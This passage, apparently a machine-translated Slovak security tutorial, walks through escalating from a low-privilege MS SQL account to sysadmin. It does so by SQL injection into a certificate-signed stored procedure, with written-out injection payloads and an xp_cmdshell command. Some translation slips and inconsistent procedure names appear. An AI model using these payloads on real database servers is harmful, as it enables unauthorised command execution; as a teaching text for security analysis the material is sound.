V dôsledku toho sme vytvorili používateľa tor s minimálnymi právami, uloženú procedúru sp_xxx, ktorá zobrazuje názov zadanej databázy, vytvorili certifikát sp_xxx_cert a podpísali s ním uloženú procedúru a tiež vytvorili prihlasovacie meno sp_xxx_login z certifikátu a dali ho oprávnenia správcu systému. Tým je prípravná časť hotová. Prihláste sa pomocou svojho účtu tor a zavolajte uloženú procedúru:

EXEC MASTER.dbo.sp_xxx "master"

Podľa očakávania nám vráti nami zadaný názov databázy – master a tempdb (pozri obr. 3).

Ryža. 3. Výsledok požiadavky EXEC MASTER.dbo.sp_xxx "master"

Dotaz ako EXEC MASTER.dbo.sp_sqli2 "master""--" vráti iba master (pozri obr. 4).

Obr.4. Výsledok požiadavky EXEC MASTER.dbo.xxx "master""--"

Skvelé. To znamená, že uložená procedúra je náchylná na vstrekovanie SQL. Skontrolujeme naše oprávnenia pomocou nasledujúceho dotazu:

EXEC MASTER.dbo.sp_xxx "master"";SELECT is_srvrolemember(""sysadmin"")ako priv_certsp--";

priv_cersp=1 (pozri obrázok 5) znamená, že máme privilégiá správcu systému. Spustite príkaz EXEC master..xp_cmdshell "whoami"; Nebude to fungovať, pretože účet tor má minimálne práva, ale ak je tento dotaz vložený do injekcie SQL, všetko bude fungovať (obr. 6).

Najzaujímavejšie je, že tento trik bude fungovať vo verziách 2005–2014.

Záver

Rozdiel vo všetkých týchto vektoroch je dosť významný. V niektorých prípadoch sa na dosiahnutie cieľa môžete obmedziť na zahrnutú vlastnosť TRUSTTWORTHY, ktorá umožňuje využívať prostriedky tejto databázy objektmi umiestnenými vonku na vytvorenie a vykonanie uloženej procedúry, ktorá eskaluje privilégiá. V niektorých prípadoch môžete vykonávať uložené procedúry v mene iných účtov vďaka privilégiám IMPERSONATE a funkcii EXECUTE AS a v tretích prípadoch je dôležitá iba prítomnosť SQL injection, prostredníctvom ktorej môžete vložiť dotaz, a to budú vykonané v mene iného účtu. Aby ste plne porozumeli nuansám a jemnostiam, odporučil by som otestovať tieto vektory na vašom lokálnom počítači.

Článok neposkytuje vyčerpávajúci popis všetkých vektorov útokov na MS SQL DBMS, ale bude veľmi užitočný pre povrchnú bezpečnostnú analýzu. Odporúčam tiež, aby ste sa oboznámili s ďalším hackovacím vektorom prostredníctvom odkazov DB, ktorý opísal Alexey Tyurin v decembrovom čísle ][ (#191) v časti Jednoduchý hack. To je všetko, ďakujem za pozornosť a uvidíme sa znova.



Načítava...
Hore